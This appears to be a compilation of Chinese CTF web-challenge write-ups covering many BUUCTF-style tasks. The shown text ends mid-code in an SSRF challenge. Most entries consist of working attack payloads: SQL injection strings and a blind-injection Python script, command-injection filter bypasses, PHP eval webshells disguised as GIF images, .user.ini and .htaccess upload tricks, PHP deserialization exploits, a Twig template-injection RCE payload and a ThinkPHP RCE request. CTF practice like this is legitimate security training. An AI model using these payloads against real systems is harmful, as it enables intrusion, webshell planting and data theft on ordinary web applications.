[HCTF 2018]WarmUp
打开网址是一张滑稽,没什么用,看一下源码,发现有注释。
访问source.php,直接给了源码,进行代码审计。
分两块,第一块是emmm::checkFile,里面做了一些判断。
第二块是一个include,文件包含,我们要绕过验证,也就是上面的checkFile方法。
测试hint.php
include触发的三个判断条件全为真时,include才执行。
checkFile为真
第一个if,page需要设置并且为字符串
第二个if,page需要在白名单中
_page是page从开始到?的位置截取的一段子串
第三个if,_page需要在白名单中
_page进行url解码
_page再进行相同截取
第四个if,_page需要在白名单中
现在假设payload为:?file=source.php?/…/ffffllllaaaagggg,经过mb_strpos为source.php?/…/ffffllllaaaagggg?,mb_strpos这个函数只返回首次出现的位置,所以会返回第一个?的位置,而mb_substr截取函数,从0开始截取一直到第一个?的位置,截取内容为source.php,恰好能与白名单中的进行匹配,可以return true;,所以通过第一次截取进行绕过
r执行payload:/?file=source.php?/…/ffffllllaaaagggg,发现没有显示flag,应该是不在这个目录,然后就不断加…/最后得到flag,payload为:/?file=source.php?/…/…/…/…/ffffllllaaaagggg
[极客大挑战 2019]EasySQL
有闭合错误,所以尝试一下注入,万能密码输入’or 1
[极客大挑战 2019]Havefun
查看源码发现
然后在输入框中添加/?cat
[SUCTF 2019]EasySQL
随便试了一下,没闭合注入,我们使用堆叠注入吧
1;show databases;
再尝试输入1;show tables;
再尝试输入1;show columns;
发现不行;
百度到两种payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 和*,1 (这个是没有过滤*)
原理是:select $_GET[‘query’] || flag from flag
[ACTF2020 新生赛]Include
使用 “php://filter"伪协议” 来进行包含,然后构造payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
这里需要注意的是使用php
[极客大挑战 2019]Secret File
查看源码 点击Archive_room.php
有一个action.php,然后点击就到end.php
什么也没有 只好抓包了
访问secr3t.php
看了一下代码这个需要用文件包含,同上一道题使用伪协议
payload为:secr3t.php?file
[极客大挑战 2019]LoveSQL
用万能密码登录进去
进入,这个感觉像是一个编码,但是不是,后来发现是考察SQL注入
查询字段数:%23是#
/check.php?username=admin' order by 3%23&password=1
当字段数为3时,页面回显正常,使用union查询回显点位:
?username=1' union select 1,2,3%23&password=1
爆数据库
?username=1' union select 1,database(),3%23&password=1
爆表名
?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
爆字段
?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1
?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=1
[GXYCTF2019]Ping Ping Ping
首先ping本地(127.0.0.1)
用管道符或者分号
我们首先来尝试管道符
?ip=127.0.0.1||ls
可以看到回显有两个文件,flag.php和index.php,显然我们是需要查看flag.php里面的内容,用linux里面的命令cat
?ip=127.0.0.1||cat flag.php
提示说空格问题,那么我们先绕过空格,方法是替换为其他可以代表空格的字符,例如 ${IFS}
?ip=127.0.0.1||cat${IFS}flag.php
1fxck你的符号!
提示说{}问题,那换一个
?ip=127.0.0.1||cat$IFS$1flag.php
flag被过滤了,我们尝试去看index.php
?ip=127.0.0.1|cat$IFS$1index.php
法一:拼接绕过
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
法二:可以利用base64绕过
将cat flag.php base64编码Y2F0IGZsYWcucGhw
?ip=127.0.0.1||`echo$IFS$1Y2F0IGZsYWcucGhw$IFS$1|$IFS$1base64$IFS$1-d`
法三:在bash被过滤的情况下可以尝试sh
?ip=127.0.0.1|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
[ACTF2020 新生赛]Exec
还是先和上面一样,稍有不同是这道题目使用了POST传参
ping一下127.0.0.1,可以然后执行127.0.0.1;cat /flag;
[极客大挑战 2019]Knife
在根目录找到flag
2018]easy_tornado
[RoarCTF 2019]Easy Calc
尝试在输入框输入正常的计算式都能返回正常的结果
题目提示有waf,所以输入其他符号和字母都会跳出这是啥呀的弹框
F12看了一下页面的源码
发现计算是在calc.php里面计算的
url:“calc.php?num=”+encodeURIComponent($("#content").val()),
用的是:PHP的字符串解析特性
?num=phpinfo()
?%20num=phpinfo()
PHP字符串解析存在一个漏洞
php 会删除空格
php 会将一些符号转换为下划线
访问calc.php,直接给了源码
可以看见过滤了一些特殊字符,然后eval执行我们的命令。
我们先看根目录里面有什么东西,构造命令
/calc.php?%20num=var_dump(scandir(chr(47)))
var_dump是打印参数内容,scandir是查看参数目录里的内容和目录,chr(47)就是"/","/"被过滤了,我们使用chr(47)绕过
可以看到有一个f1agg,我们查看它的内容
/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
? num=var_dump(file_get_contents(chr(47).f1agg))
file_get_contents是将整个文件读入一个字符串
[极客大挑战 2019]Http
查看源码
点击这个链接
抓包
修改header添加一行:
Referer
极客大挑战 2019]Upload
上传一个一句话木马的jpg格式
我们就换一个一句话木马
新建一个文件后缀为:.phtml,写入一句话木马
GIF89a
<script language="php">eval($_POST['shell']);</script>
上传,bp拦截一下
将Content-Type改为image/jpeg
然后蚁剑连接
/upload/6.phtml
bmV0L3FxXzUxNTU4MzYw,size_16,color_FFFFFF,t_70)
[极客大挑战 2019]BabySQL
先尝试万能密码1' or 1=1 #
显示ERROER
但是仔细观察报错语句,似乎没有看到or
猜测后端使用replace()函数过滤,尝试双写or:1' oorr 1=1 #
正常回显,看来我们猜测的不错。
测试字段数:1’ order by 3 #
order里面也有or,而且by也被过滤了,所以双写:1' oorrder bbyy 3 #
试下4:
说明字段数量为 3;
进行联合查询;1’ union select 1,2,database() #
看起来,union,select,都被过滤了;
更改命令:
`1' uniunionon selselectect 1,2,database() #`
表名:
`1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #`
查下b4bsql里面的列:
1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name="b4bsql" #
直接看username,password:
1' uniunionon selselectect 1,username,passwoorrd frfromom b4bsql #
然后想到可能找错库了,查看所有库:
1' uniunionon selselectect 1,2,group_concat(schema_name) frfromom (infoorrmation_schema.schemata) #
查表名:
1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf' #
查列:
`1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name="Flag" #`
直接查看。
1' uniunionon selselectect 1,2,flag frfromom ctf.Flag #
法二:
爆当前数据库名
/check.php?username=1' uniunionon selselectect 1,2,database()%23&password=123
爆表:
/check.php?username=1' uniunionon selselectect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables whwhereere table_schema=database()%23&password=123
爆字段:
/check.php?username=1' uniunionon selselectect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'%23&password=123
爆数据:
/check.php?username=1' uniunionon selselectect 1,2,group_concat(id,username,password) ffromrom b4bsql%23&password=123
我们改成passwoorrd:
/check.php?username=1' uniunionon selselectect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql%23&password=123
[ACTF2020 新生赛]Upload
随意上传一个3.jpg文件(里面含有一句话木马),抓包,修改后缀名为phtml
连接蚁剑
[ACTF2020 新生赛]BackupFile
根据提示,是备份文件泄露
.rar
.zip
.7z
.tar.gz
.bak
.swp
.txt
.html
以上是备份文件后缀,我试了下www.zip不行,应该是别的,于是用dirsearch扫描目录
是index.php.bak
简单的弱类型绕过
就很简单了,get传入key,与一串开头为123的字符串比较。== 为弱比较,直接令key=123就可以。直接出flag。
[HCTF 2018]admin 正在做
弱密码
admin/123
[极客大挑战 2019]BuyFlag
让我们post过去一个money和一个password,password要等于404,并且password不能为数字,那好办我们可以用弱类型,即让password=404a。
抓包:
添加Cookie
[SUCTF 2019]CheckIn
上传一句话木马图片
对文件的内容进行了检查。所以,我们换一种木马形式。
<script language='php'>eval($_POST['shell']);</script>
用shell.phtml进行上传。
对后缀进行了验证
我们修改一下之前木马文件3.jpg
GIF89a
<script language='php'>assert($_POST['shell'];</script>
再上传一个.user.ini 文件,当我们对目录中的任何php文件进行访问时,都会调用.user.ini中指的文件以php的形式进行读取。
所以我们写一个.user.ini进行上传。(一定要加文件幻术头)
GIF89a
auto_prepend_file=3.jpg
上传成功。连接蚁剑。
2019]NiZhuanSiWei
进入题目,直接给出了php源码
看到有include文件包含,必然是解题的重点,所以先看第一个if,必须先满足它。
text不为空,且 file_get_contents() 读取的返回值为 welcome to the zjctf
file_get_contents()函数的功能是读取文件内容到一个字符串,但这里没没有一个文件,而是读取的text变量。没查到相关这方面的用法,特别是那个r参数。
而如果直接给text赋值 text=welcome to the zjctf 的话,没有回显说明没成功。
所以需要用方法绕过它,两种方法
php://input伪协议
此协议需要 allow_url_include 为 on ,可以访问请求的原始数据的只读流, 将post请求中的数据作为 PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为 ?test=php://input ,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
好像用 HackBar 因为在 post 中没有设置变量不能访问,所以用bp抓包。
看到有回显,可行。
data://伪协议
data://协议需要满足双on条件,作用和 php://input 类似
?text=data:text/plain,welcome to the zjctf
也可以加上 base64 编码。
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
再看第二个if file不能有flag字符。没啥,往下看。
提示了有一个 useless.php ,想到之前说的PHP伪协议中的php://filter读取文件。尝试。
php://filter/read=convert.base64-encode/resource=useless.php
所以构造payload,成功回显
?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
base64解码,成功得到 useless.php 源码。
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
看到有一个 flag.php ,并且file不为空将读取flag.php并显示。所以。构造一个序列化字符串。
<?php
class Flag{
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$s = serialize(new Flag());
echo $s;
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终构造payload
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
[CISCN2019 华北赛区 Day2 Web1]Hack World
提示了存在flag表与flag列,先输入正常内容1:
可以得到正常的回显,再测试2:
再输入999,得到错误提示:
输入2-1时,得到注入提示:
在判断数值型和字符型注入时,可以通过提交数学式的方式,例如:id=2/2,字符型返回id=2的内容,数字型则返回id=1的结果。
输入2/2判断注入类型:
得到正常回显,猜测为数字型的盲注,使用length()方法测试:
(length(database())>4)
得到正常回显,即为1的结果:
当尝试<4时:
基本断定为数字型的布尔盲注。
通过后续的语句测试,好像过滤了(空格),所以采用()作为语句间的分隔
id=(ascii(substr((select(flag)from(flag)),0,1))<120)
可以成功,估算flag的长度为50,使用二分法盲注的Python3脚本爆出flag:
import requests
url = 'http://c6140ee3-6f16-4096-8f22-06ecaa6738ed.node3.buuoj.cn/index.php'
flag = ''
for i in range(1, 50):
max = 127
min = 0
for c in range(0, 127):
s = int((max + min) / 2)
payload = '(ascii(substr((select(flag)from(flag)),%d,1))<%d)' % (i, s)
r = requests.post(url, data={'id': payload})
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
max = s
else:
min = s
if (max - min) <= 1:
flag += chr(max-1)
print(flag)
break
print(flag)
题目限制了大部分函数与关键字,以及最重要的空格。
空格可以使用括号,即任何可以计算结果的语句都可以用括号包围起来;
Tab键、%09、%0a、%0b、%0c、/**/也可以作为空格
还可以使用1^异或这种方法:
1^1=0
0^0=0
1^0=1
即构造id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))
这种形式也可以。
[极客大挑战 2019]HardSQL
经过手工测试过滤了and、= 空格 union等多个sql关键字
要思考如何绕过这些关键字去注入!
使用updatexml报错法注入
查数据库信息
/check.php?username=admin'or(updatexml(1,concat(0x7e,version(),0x7e),1))%23&password=21
/check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21
结果:geek
查表
/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21
结果:H4rDsq1
查字段
/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=21
结果:id,username,password
查数据
/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=21
结果:flagflag{acf5a8e4-5671-41f9-aa
用right()语句在查询后面部分
/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21
1-41f9-aa2d-12e51d69ddc3}
最后为:
flag{acf5a8e4-5671-41f9-aa2d-12e51d69ddc3}
extractvalue报错注入
爆数据库名
check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(database()))))%23
爆表名
username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
#语句主要用()绕过了空格,用like绕过了=号
爆列名
username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
#同上,语句不变改一下变量就行
找到flag
check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
#这里要注意!select aaa from table_bbb;不需要引号!!!!!
可是只显示了flag其中的一段。
剩下的用right()显示其他位数的
check.php?username=aaa&password=aaa'^extractvalue(1,rightconcat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
#这里要注意!select aaa from table_bbb;不需要引号!!!!!
[GYCTF2020]Blacklist
先1’
字符型注入
再输入
1' or '1'='1
联合注入
返回了过滤内容
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
堆叠注入
payload:
看表
1';show tables;#
看列
payload
1';show columns from `FlagHere`; %23
由于过滤了prepare和alert
我们可以用
HANDLER方法
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
[MRCTF2020]Ez_bypass
gg和id参数强比较,通过数组来绕过
is_numeric函数的作用是检测变量是否为数字或数字字符串,是则返回ture,反之。
使用hackbar的post传参,passwd
[RoarCTF 2019]Easy Java
)
尝试点击help发现
发现filename=help.docx有可能可以进行文件读取
文中提到,漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,再通过反编译class文件,得到网站源码。
尝试读取web.xml文件
那就来读取这个class文件,构造payload
?filename=WEB-INF/classes/com/wm/ctf/FlagController.class
ZmxhZ3syMmU4NTY4MS03ZDM2LTQyNjQtYWNlYi1kMjdmNDU4ZjY0YzF9Cg==
[GKCTF2020]cve版签到
这是一个信息泄露的漏洞,具体使用方法入下。
结合cve可知,get_headers()函数存在漏洞。通过\0截断,访问本地主机。经过尝试,题目这里需使用%00截断
再根据网页代码中给的提示开始构造payload
payload:
/?url=http://127.0.0.1%00.ctfhub.com
payload:
/?url=http://127.0.0.123%00.ctfhub.com
[GXYCTF2019]BabyUpload
GIF89a
<script language='php'>eval($_POST[cmd]);</script>
/var/www/html/upload/634804364a71ab27dca85781909d531f/3.jpg succesfully uploaded!
上传成功,蚁剑连接一下,在根目录找到flag
[BJDCTF 2nd]old-hack
题目提示thinkphp5
构造/index.php?s=1
报错看看
看到版本号为5.0.23,搜索一波5.0.23漏洞
所以直接post
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
根目录里面找到flag
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag
[BJDCTF2020]ZJCTF,不过如此
分析代码,get传入两个参数text和file,text参数利用file_get_contents()函数只读形式打开,打开后内容要与"I have a dream"字符串相匹配,才能执行下面的文件包含$file参数。
看到用的是file_get_contents()函数打开text参数,以及后面的文件包含函数,自然的想到php伪协议中的data://协议
源码中提示我们去包含next.php文件,所以我们利用php://filter协议去读下next.php的源码。
于是构造payload
index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K
base64解码得:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
/e模式的preg_replace,有一个远程代码执行漏洞。
思路是利用这个代码执行,执行源码中的getFlag()函数,在传入cmd参数,再利用getFlag中的eval()函数,再进行一个代码执行。
俄罗斯套娃。
于是构造Payload:
next.php?\S*=${getFlag()}&cmd=system('cat /flag');
[BJDCTF2020]Cookie is so stable
点击flag是一个登录界面
尝试经典{{77}}后判断是Twig模板注入
{{7’7’}} 回显7777777 ==> Jinja2
{{7*‘7’}} 回显49 ==> Twig
题目提示cookie
user为注入点
payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
获取flag
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
[BSidesCF 2020]Had a bad day
随便点一个试试
观察url,猜测sql注入
测试
弹出include报错,那就是文件包含了
直接读index的源码
payload
?category=php://filter/read=convert.base64-encode/resource=index
(有index.php却读取错误,报错显示无法打开流:操作失败在后面测试的时候,发现除掉后缀即可读取到源码)
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){//必须含有woofers或meowers或index字符串
include ($file . '.php');//参数后拼接.php
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
原来是后面做了拼接,所以前面的poc才不能加.php
传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php
尝试直接读取/index.php?category=woofers/../flag
出现了别的内容,包含成功了flag.php,但是这里也说了flag需要读取
利用php://filter伪协议可以套一层协议读取flag.php
/index.php?category=php://filter/convert.base64-encode/index/resource=flag
套一个字符index符合条件并且传入flag,读取flag.php
[第一章 web入门]afr_2
打开源码看到:
加上/img看到:
继续查看目录:
看到flag,下载下来看到:
[第一章 web入门]afr_1
根据题目我们知道考察的是** php://协议**
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
/?p=php://filter/convert.base64-encode/resource=flag
[第一章 web入门]SQL注入-1
-1%27%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata%23
-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables where table_schema='note'%23
-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns where table_name=‘fl4g’%23
[BUUCTF 2018]Online Tool
代码审计:
可以注意到escapeshellarg和escapeshellcmd两个不懂得函数
PHP escapeshellarg()+escapeshellcmd() 之殇
直接找到了上面这篇文章,这两个函数在一起用会有些问题
1.传入的参数是:172.17.0.2' -v -d a=1
2.经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1'
,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\'
,这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
3.最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\'
,由于中间的\被解释为\而不再是转义字符,所以后面的’没有被转义,与再后面的’配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1'
,即向172.17.0.2\发起请求,POST 数据为a=1’。
简单的来说就是两次转译后出现了问题,没有考虑到单引号的问题
然后往下看,看到echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
这有个system来执行命令,而且有传参,肯定是利用这里了
这里代码的本意是希望我们输入ip这样的参数做一个扫描,通过上面的两个函数来进行规则过滤转译,我们的输入会被单引号引起来,但是因为我们看到了上面的漏洞所以我们可以逃脱这个引号的束缚
这里常见的命令后注入操作如 | & &&都不行,虽然我们通过上面的操作逃过了单引号,但escapeshellcmd会对这些特殊符号前面加上\来转移…
时候就只有想想能不能利用nmap来做些什么了。
这时候搜索可以发现在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
执行后会返回文件夹名
连接:
[GXYCTF2019]BabyUpload
法一:
利用.htaccess文件上传,首先上传一个.htaccess文件
<FilesMatch "flag.png">
SetHandler application/x-httpd-php
</FilesMatch>
这里注意,这道题不知道为什么,我这里只有用将一句话木马后缀改成png的时候才能用菜刀之类的连上,jpg后缀都不行。这里抓包上传的时候要注意修改Content-Type: image/jpeg
上传成功后,会返回上传的路径
之后上传flag.png文件,由于文件内容会过滤<?所以
就用js引用php绕过。
GIF89a
<script language='php'>eval($_POST[cmd]);</script>
[GXYCTF2019]禁止套娃
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。
git泄露源码,利用githack
python GitHack.py http://f947babc-b762-4a48-bbe9-8fe7414d39a8.node3.buuoj.cn/.git/
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
payload:
?exp=print_r(scandir(pos(localeconv())));
之后我们利用array_reverse() 将数组内容反转一下,利用next()指向flag.php文件==>highlight_file()高亮输出
payload:
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
[安洵杯 2019]easy_web
打开链接,看到url不寻常,解密img参数
解密顺序:base64->base64->hex
结果:555.png
后面我们再反推回去得到index.php
import binascii
import base64
filename = input().encode(encoding='utf-8')
hex = binascii.b2a_hex(filename)
base1 = base64.b64encode(hex)
base2 = base64.b64encode(base1)
print(base2.decode())
访问:
http://4093671f-a317-46a0-9952-3c9dc586f177.node3.buuoj.cn/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
源码里复制蓝色连接:
base64解码:
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
我们先看md5强类型的绕过:
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
方法比较固定:
POST:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
这里过滤了大部分命令执行的语句
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd))
抓包,设置一些数据:
并没有。。
去根目录下找flag:
发现flag,读取:
禁用cat之后,cmd=/bin/c\at%20/flag
[网鼎杯 2020 朱雀组]phpweb
法一:
1.主页面抓包,发现可以传参。
执行file_get_contents。可以看到index.php的源代码。里面有一个十分严格的过滤,几乎过滤了所有危险函数。下面是一个类,里面有析构函数func,可以考虑到使用反序列化构造命令执行。
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
2.反序列化,构造exp
<?php
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a=new Test();
echo serialize($a);
但是找不到flag在哪。构造exp。
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find%20/%20-name%20flag*";s:4:"func";s:6:"system";}
3.直接readfile。
或者直接:
O:4:"Test":2:{s:1:"p";s:25:"cat%20$(find%20/%20-name%20flag*)";s:4:"func";s:6:"system";}
法二:
命名空间绕过黑名单:
func=\exec&p=ls
读取flag:
func
[De1CTF 2019]SSRF Me
#! /usr/bin/env python
# encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip): # python得构造方法
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if (not os.path.exists(self.sandbox)): # SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self): # 定义的命令执行函数,此处调用了scan这个自定义的函数
result = {}
result['code'] = 500
if (self.checkSign()):
# md5(secert_key + self.action + self.param).hexdigest() == self.sign
# md5(secert_key + self.action + self.param).hexdigest() == hashlib.md5(secert_key + param + "scan").hexdigest()
if "scan" in self.action: # action要写scan
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param) # 此处是文件读取得注入点
# resp = urllib.urlopen(param).read()
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp # 输出结果
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action: # action要加read
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign): # !!!校验
return True
# md5(secert_key + param + action).hexdigest()
else:
return False
# generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST']) # !!!这个路由用于测试
